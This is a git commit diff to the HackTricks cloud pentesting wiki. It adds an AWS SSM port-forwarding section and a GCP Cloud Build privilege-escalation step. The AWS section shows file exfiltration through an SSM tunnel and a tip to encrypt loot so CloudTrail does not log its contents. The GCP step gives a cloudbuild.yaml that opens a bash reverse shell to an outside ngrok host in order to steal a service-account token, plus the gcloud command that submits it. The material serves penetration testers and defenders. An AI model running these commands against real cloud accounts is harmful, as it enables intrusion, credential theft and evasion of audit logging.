Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud

Author: carlospolop

searchindex.js

@@ -138,6 +138,54 @@ Note that the SSL connections will fail unless you set the `--insecure-skip-tls-
 
 Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
 
+---
+
+#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
+
+If you only need to forward **one TCP port from the EC2 instance to your local host** you can use the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
+
+```bash
+aws ssm start-session --target i-0123456789abcdef0 \
+  --document-name AWS-StartPortForwardingSession \
+  --parameters "portNumber"="8000","localPortNumber"="8000" \
+  --region <REGION>
+```
+
+The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
+
+Common use cases:
+
+* **File exfiltration**
+  1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate:
+
+     ```bash
+     python3 -m http.server 8000
+     ```
+
+  2. From your workstation fetch the files through the SSM tunnel:
+
+     ```bash
+     curl http://localhost:8000/loot.txt -o loot.txt
+     ```
+
+* **Accessing internal web applications (e.g. Nessus)**
+
+```bash
+# Forward remote Nessus port 8834 to local 8835
+aws ssm start-session --target i-0123456789abcdef0 \
+  --document-name AWS-StartPortForwardingSession \
+  --parameters "portNumber"="8834","localPortNumber"="8835"
+# Browse to http://localhost:8835
+```
+
+Tip: Compress and encrypt evidence before exfiltrating it so that CloudTrail does not log the clear-text content:
+
+```bash
+# On the instance
+7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
+```
+
+
 ### Share AMI
 
 ```bash
@@ -474,6 +522,10 @@ if __name__ == "__main__":
     main()
 ```
 
+## References
+
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+
 {{#include ../../../../banners/hacktricks-training.md}}
 
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -15,15 +15,28 @@ For more information about Cloud Build check:
 With this permission you can **submit a cloud build**. The cloudbuild machine will have in it’s filesystem by **default a token of the cloudbuild Service Account**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. However, you can **indicate any service account inside the project** in the cloudbuild configuration.\
 Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change).
 
+#### Direct exploitation via gcloud CLI
+
+1- Create `cloudbuild.yaml` and modify with your listener data
+```yaml
+steps:
+  - name: bash
+    script: |
+      #!/usr/bin/env bash
+      bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
+options:
+  logging: CLOUD_LOGGING_ONLY
+```
+2- Upload a simple build with no source, the yaml file and specify the SA to use on the build:
+```bash
+gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
+```
+
+#### Using python gcloud library
 You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
 
 For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
 
-### `cloudbuild.builds.update`
-
-**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).
-
-TODO
 
 ### `cloudbuild.repositories.accessReadToken`